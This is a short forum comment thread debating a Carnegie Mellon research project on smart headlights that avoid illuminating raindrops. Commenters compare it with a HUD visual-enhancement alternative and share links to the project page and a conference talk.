Too many factors with this system that need to be accomodated from a sudden wind gust, rain that bounces and in dense fog and lets not forget the classic one were the car infront or lorry kicks up spray. Too many dynamic variables and thats just a few from the top of my head. Love to be proven wrong, but a HUD visual enhancer system seems alot easier and safer when accomodating these many many variables.

<comment><USER10> I am asking this because I'm ignorant and fishing for additional detail. In your idea, where does the HUD get its data to display, from another modality like radar?

<comment><USER9> could be many forms but radar or what i was thinking is visual enhancment with camera's, that type of thing. You are also not ignorant by far as a ignorant people don't ask questions I have found, so don't put yourself down.

</comment></comment></comment><comment><USER11> Wish there was a video clip of this in action.

<comment><USER12> Project page with many videos, including entire talks given by one of the authors here: <http://www.cs.cmu.edu/~ILIM/projects/IL/smartHeadlight/>

The project is still in the academic research phase and I don't think they're quite as far as actually implementing it in a car in the wild, although they're moving ahead with it as fast as they can, so they might have actually done this recently. It won an award at the last International Conference on Computational Photography (ICCP) because it's just such a cool idea, and it seems like it might actually be feasible to some degree (even despite all the issues people have mentioned here and elsewhere). At ICCP, it was still in simulation and prototype-with-rain-machine-in-the-lab mode.

Btw I highly recommend watching the ICCP talk, available to watch from that webpage, or for download here: [http://www.cs.cmu.edu/~ILIM/projects/IL/smartHeadlight/media...](http://www.cs.cmu.edu/~ILIM/projects/IL/smartHeadlight/media/vids/iccp2012_oral.mp4)</comment></comment>